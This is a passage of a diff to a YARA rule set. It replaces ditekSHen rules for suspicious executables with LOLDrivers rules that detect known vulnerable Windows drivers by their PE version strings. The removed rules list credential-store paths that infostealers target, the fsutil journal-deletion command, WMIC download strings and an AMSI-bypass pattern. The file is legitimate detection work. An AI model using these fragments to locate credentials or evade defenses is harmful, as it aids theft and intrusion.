+		author = "Florian Roth"
+		id = "45ac5fe9-25e2-5ee9-a410-95d19ec75e33"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2441-L2457"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "8fe9828bea83adc8b1429394db7a556a17f79846ad0bfb7f242084a5c96edf2a"
+		logic_hash = "f293cb0a8bbc710428a7a4ae582f9d6ed60954afeb84efe8b74da38ff41732c1"
 		score = 40
-		quality = 39
-		tags = "T1218, FILE"
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$guid1 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" ascii wide nocase
-		$guid2 = "{3E000D72-A845-4CD9-BD83-80C07C3B881F}" ascii wide nocase
-		$guid3 = "{BA126F01-2166-11D1-B1D0-00805FC1270E}" ascii wide nocase
-		$s1 = "CoGetObject" fullword ascii wide
-		$s2 = "Elevation:Administrator!new:" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003100310035 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($guid*) and 1 of ($s*))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_4932 : FILE
 {
 	meta:
-		description = "Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers"
-		author = "ditekSHen"
-		id = "07223564-bf4f-5fcd-ad3d-b67eb3baea8e"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L345-L359"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5350f79b01e8e8ae9e0607aa02965cd9ccc52c59a901abcb51e401476cb0fa3a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "6fa00211-cb55-5870-92ec-18a6e2c7eb89"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2460-L2487"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668"
+		hash = "84c5f6ddd9c90de873236205b59921caabb57ac6f7a506abbe2ce188833bbe51"
+		hash = "8e92aacd60fca1f09b7257e62caf0692794f5d741c5d1eec89d841e87f2c359c"
+		hash = "2ef7df384e93951893b65500dac6ee09da6b8fe9128326caad41b8be4da49a1e"
+		hash = "ac1af529c9491644f1bda63267e0f0f35e30ab0c98ab1aecf4571f4190ab9db4"
+		hash = "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98"
+		hash = "8e5aef7c66c0e92dfc037ee29ade1c8484b8d7fadebdcf521d2763b1d8215126"
+		hash = "79440da6b8178998bdda5ebde90491c124b1967d295db1449ec820a85dc246dd"
+		hash = "6001c6acae09d2a91f8773bbdfd52654c99bc672a9756dc4cb53dc2e3efeb097"
+		logic_hash = "683d1c1b912190afc4933e285a335257039356935354a851faa4cdc31f59a144"
 		score = 40
-		quality = 31
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "key3.db" nocase ascii wide
-		$s2 = "key4.db" nocase ascii wide
-		$s3 = "cert8.db" nocase ascii wide
-		$s4 = "logins.json" nocase ascii wide
-		$s5 = "account.cfn" nocase ascii wide
-		$s6 = "wand.dat" nocase ascii wide
-		$s7 = "wallet.dat" nocase ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3D9E : FILE
 {
 	meta:
-		description = "Detects executables referencing many file transfer clients. Observed in information stealers"
-		author = "ditekSHen"
-		id = "0967c8d6-fc80-5341-9974-c6f16f024c2c"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L418-L472"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "49daece8c3da43b3dba26ab6f71fa5c27d3a6ab2c0427b3d2613c1feb25458de"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "023a5c66-aae0-5583-95aa-0a62f3f27352"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2490-L2509"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3"
+		logic_hash = "fdb944988945780b774d73f3d729d2468b0c9006aca100fa8bbf913a9c5402c6"
 		score = 40
-		quality = 20
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "FileZilla\\recentservers.xml" ascii wide
-		$s2 = "Ipswitch\\WS_FTP\\" ascii wide
-		$s3 = "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions" ascii wide
-		$s4 = "SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions" ascii wide
-		$s5 = "CoreFTP\\sites" ascii wide
-		$s6 = "FTPWare\\COREFTP\\Sites" ascii wide
-		$s7 = "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" ascii wide
-		$s8 = "FTP Navigator\\Ftplist.txt" ascii wide
-		$s9 = "FlashFXP\\3quick.dat" ascii wide
-		$s10 = "SmartFTP\\" ascii wide
-		$s11 = "cftp\\Ftplist.txt" ascii wide
-		$s12 = "Software\\DownloadManager\\Passwords\\" ascii wide
-		$s13 = "jDownloader\\config\\database.script" ascii wide
-		$s14 = "FileZilla\\sitemanager.xml" ascii wide
-		$s15 = "Far Manager\\Profile\\PluginsData\\" ascii wide
-		$s16 = "FTPGetter\\Profile\\servers.xml" ascii wide
-		$s17 = "FTPGetter\\servers.xml" ascii wide
-		$s18 = "Estsoft\\ALFTP\\" ascii wide
-		$s19 = "Far\\Plugins\\FTP\\" ascii wide
-		$s20 = "Far2\\Plugins\\FTP\\" ascii wide
-		$s21 = "Ghisler\\Total Commander" ascii wide
-		$s22 = "LinasFTP\\Site Manager" ascii wide
-		$s23 = "CuteFTP\\sm.dat" ascii wide
-		$s24 = "FlashFXP\\4\\Sites.dat" ascii wide
-		$s25 = "FlashFXP\\3\\Sites.dat" ascii wide
-		$s26 = "VanDyke\\Config\\Sessions\\" ascii wide
-		$s27 = "FTP Explorer\\" ascii wide
-		$s28 = "TurboFTP\\" ascii wide
-		$s29 = "FTPRush\\" ascii wide
-		$s30 = "LeapWare\\LeapFTP\\" ascii wide
-		$s31 = "FTPGetter\\" ascii wide
-		$s32 = "Far\\SavedDialogHistory\\" ascii wide
-		$s33 = "Far2\\SavedDialogHistory\\" ascii wide
-		$s34 = "GlobalSCAPE\\CuteFTP " ascii wide
-		$s35 = "Ghisler\\Windows Commander" ascii wide
-		$s36 = "BPFTP\\Bullet Proof FTP\\" ascii wide
-		$s37 = "Sota\\FFFTP" ascii wide
-		$s38 = "FTPClient\\Sites" ascii wide
-		$s39 = "SOFTWARE\\Robo-FTP 3.7\\" ascii wide
-		$s40 = "MAS-Soft\\FTPInfo\\" ascii wide
-		$s41 = "SoftX.org\\FTPClient\\Sites" ascii wide
-		$s42 = "BulletProof Software\\BulletProof FTP Client\\" ascii wide
-		$s43 = "BitKinex\\bitkinex.ds" ascii wide
-		$s44 = "Frigate3\\FtpSite.XML" ascii wide
-		$s45 = "Directory Opus\\ConfigFiles" ascii wide
-		$s56 = "SoftX.org\\FTPClient\\Sites" ascii wide
-		$s57 = "South River Technologies\\WebDrive\\Connections" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004e00540049004f004c00690062005f00450043004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Usndeletejournal : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Logitech_Lgcoretempsys_Lgcoretemp_E0CB : FILE
 {
 	meta:
-		description = "Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in ransomware"
-		author = "ditekSHen"
-		id = "eafc7ed9-d0e7-562d-8215-6f3feddee27a"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L612-L628"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1920fc2bc8c3628016bb91403960f5fbb101b5822f553c1f28d9502841a9832c"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LgCoreTemp.sys"
+		author = "Florian Roth"
+		id = "148a795b-926c-50eb-8da4-bbf8d1ceb3bb"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2512-L2531"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e0cb07a0624ddfacaa882af49e3783ae02c9fbd0ab232541a05a95b4a8abd8ef"
+		logic_hash = "f3162a80eb6ab357766aaafbf62aec608291873980c81c6d21d835bc349cda76"
 		score = 40
-		quality = 35
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$cmd1 = "fsutil.exe" ascii wide nocase
-		$s1 = "usn deletejournal /D C:" ascii wide nocase
-		$s2 = "fsutil.exe usn deletejournal" ascii wide nocase
-		$s3 = "fsutil usn deletejournal" ascii wide nocase
-		$s4 = "fsutil file setZeroData offset=0" ascii wide nocase
-		$ne1 = "fsutil usn readdata C:\\Temp\\sample.txt" wide
-		$ne2 = "fsutil transaction query {0f2d8905-6153-449a-8e03-7d3a38187ba1}" wide
-		$ne3 = "fsutil resource start d:\\foobar d:\\foobar\\LogDir\\LogBLF::TxfLog d:\\foobar\\LogDir\\LogBLF::TmLog" wide
-		$ne4 = "fsutil objectid query C:\\Temp\\sample.txt" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430050005500200043006f00720065002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f006700690074006500630068 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c00670043006f0072006500540065006d0070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c00670043006f0072006500540065006d0070 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c00670043006f0072006500540065006d0070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020004c006f006700690074006500630068002c00200049006e0063 }
 
 	condition:
-		uint16(0)==0x5a4d and ( not any of ($ne*) and ((1 of ($cmd*) and 1 of ($s*)) or 1 of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Geninfostealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Stdcdrvsys_Selftestdatacollector_3702 : FILE
 {
 	meta:
-		description = "Detects executables containing common artifacts observed in infostealers"
-		author = "ditekSHen"
-		id = "531d8f7f-dee5-5d05-9293-f1ab5d5ac780"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L630-L657"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f9e6f6b470e010d362db55fcf563f85a3a408ef8331c04a157f2676442b63b1a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - stdcdrv64.sys"
+		author = "Florian Roth"
+		id = "e9509179-09c1-58e7-a08c-ceffd1c6c05c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2534-L2553"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "37022838c4327e2a5805e8479330d8ff6f8cd3495079905e867811906c98ea20"
+		logic_hash = "dfc77d3461c57240baea160b35e9174aa370fc533d08a9331dd8ce53a0048ad4"
 		score = 40
-		quality = 31
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$f1 = "FileZilla\\recentservers.xml" ascii wide
-		$f2 = "FileZilla\\sitemanager.xml" ascii wide
-		$f3 = "SOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions" ascii wide
-		$b1 = "Chrome\\User Data\\" ascii wide
-		$b2 = "Mozilla\\Firefox\\Profiles" ascii wide
-		$b3 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" ascii wide
-		$b4 = "Opera Software\\Opera Stable\\Login Data" ascii wide
-		$b5 = "YandexBrowser\\User Data\\" ascii wide
-		$s1 = "key3.db" nocase ascii wide
-		$s2 = "key4.db" nocase ascii wide
-		$s3 = "cert8.db" nocase ascii wide
-		$s4 = "logins.json" nocase ascii wide
-		$s5 = "account.cfn" nocase ascii wide
-		$s6 = "wand.dat" nocase ascii wide
-		$s7 = "wallet.dat" nocase ascii wide
-		$a1 = "username_value" ascii wide
-		$a2 = "password_value" ascii wide
-		$a3 = "encryptedUsername" ascii wide
-		$a4 = "encryptedPassword" ascii wide
-		$a5 = "httpRealm" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006c006600540065007300740020004400610074006100200043006f006c006c006500630074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007300740064006300640072007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530065006c006600540065007300740020004400610074006100200043006f006c006c006500630074006f0072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007300740064006300640072007600360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200049006e00740065006c00200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($f*) and 2 of ($b*) and 1 of ($s*) and 3 of ($a*)) or (14 of them ))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWSH_Asciiencoding_Pattern : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_2BBE : FILE
 {
 	meta:
-		description = "Detects PowerShell scripts containing ASCII encoded files"
-		author = "ditekSHen"
-		id = "df96d801-1a14-58af-b245-3a4a6ccf22c6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L710-L724"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "037ce50a6c6d2bf25163e658c5a8c18950715a52fcdf47162fcd288306acbf9c"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "fbe65027-5e7a-5944-bd8a-c0673cd165a1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2556-L2576"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250"
+		hash = "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a"
+		logic_hash = "23365c52fd3ce5d9c113c0779072b82325632c75f27cbfde9037b7ffc543a209"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$enc1 = "[char[]]([char]97..[char]122)" ascii
-		$enc2 = "[char[]]([char]65..[char]90)" ascii
-		$s1 = ".DownloadData($" ascii
-		$s2 = "[Net.SecurityProtocolType]::TLS12" ascii
-		$s3 = "::WriteAllBytes($" ascii
-		$s4 = "::FromBase64String($" ascii
-		$s5 = "Get-Random" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d0053004900530069006d0070006c0065005f004f0043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		1 of ($enc*) and 4 of ($s*) and filesize <2500KB
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_WMIC_Downloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_092D : FILE
 {
 	meta:
-		description = "Detects files utilizing WMIC for whitelisting bypass and downloading second stage payloads"
-		author = "ditekSHen"
-		id = "bdd6deeb-9d43-55ef-9264-652044ba6938"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L765-L776"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0c665f77659b57770f726297b64780764235ba0e72730c985eea62c116fe97e7"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		id = "89160c3c-ff81-5425-a205-09be7fd5a412"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2579-L2599"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0"
+		hash = "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c"
+		logic_hash = "771400b6e3f2d216fd38db681bf78fbc4e764a45ff9e11d2e33b62f93ac4a8e2"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "WMIC.exe os get /format:\"http" wide
-		$s2 = "WMIC.exe computersystem get /format:\"http" wide
-		$s3 = "WMIC.exe dcomapp get /format:\"http" wide
-		$s4 = "WMIC.exe desktop get /format:\"http" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
 
 	condition:
-		( uint16(0)==0x004c or uint16(0)==0x5a4d) and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_AMSI_Bypass : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrddkprovider_Rtportsys_Windowsrddkprovider_3C0A : FILE
 {
 	meta:
-		description = "Detects AMSI bypass pattern"
-		author = "ditekSHen"
-		id = "cdb457b3-1f41-5f58-a482-a00d269c1293"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L778-L791"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b398c20a0e7b2dff5fab87575c555b657749d7c3b3e8f1a0f99db7e8f669e3ce"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtport.sys"
+		author = "Florian Roth"
+		id = "41080479-633a-5f9b-88c9-fba696c3205a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2602-L2621"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3c0a36990f7eef89b2d5f454b6452b6df1304609903f31f475502e4050241dd8"
+		logic_hash = "0460def7e251adf398560c0f05cac2d161951339eb2bcc2b2f4840edbd0d6991"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$v1_1 = "[Ref].Assembly.GetType(" ascii nocase
-		$v1_2 = "System.Management.Automation.AmsiUtils" ascii
-		$v1_3 = "GetField(" ascii nocase
-		$v1_4 = "amsiInitFailed" ascii
-		$v1_5 = "NonPublic,Static" ascii
-		$v1_6 = "SetValue(" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065006e006500720069006300200050006f0072007400200049002f004f00200066006f0072002000570069006e00330032 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300033002000440044004b00200033003700390030002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0032003100390035002e0031003700310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030002e0032003100390035002e0031003700310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300033002000440044004b00200033003700390030002000700072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200032003000300035 }
 
 	condition:
-		5 of them and filesize <2000KB
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_PE_Resourcetuner : FILE
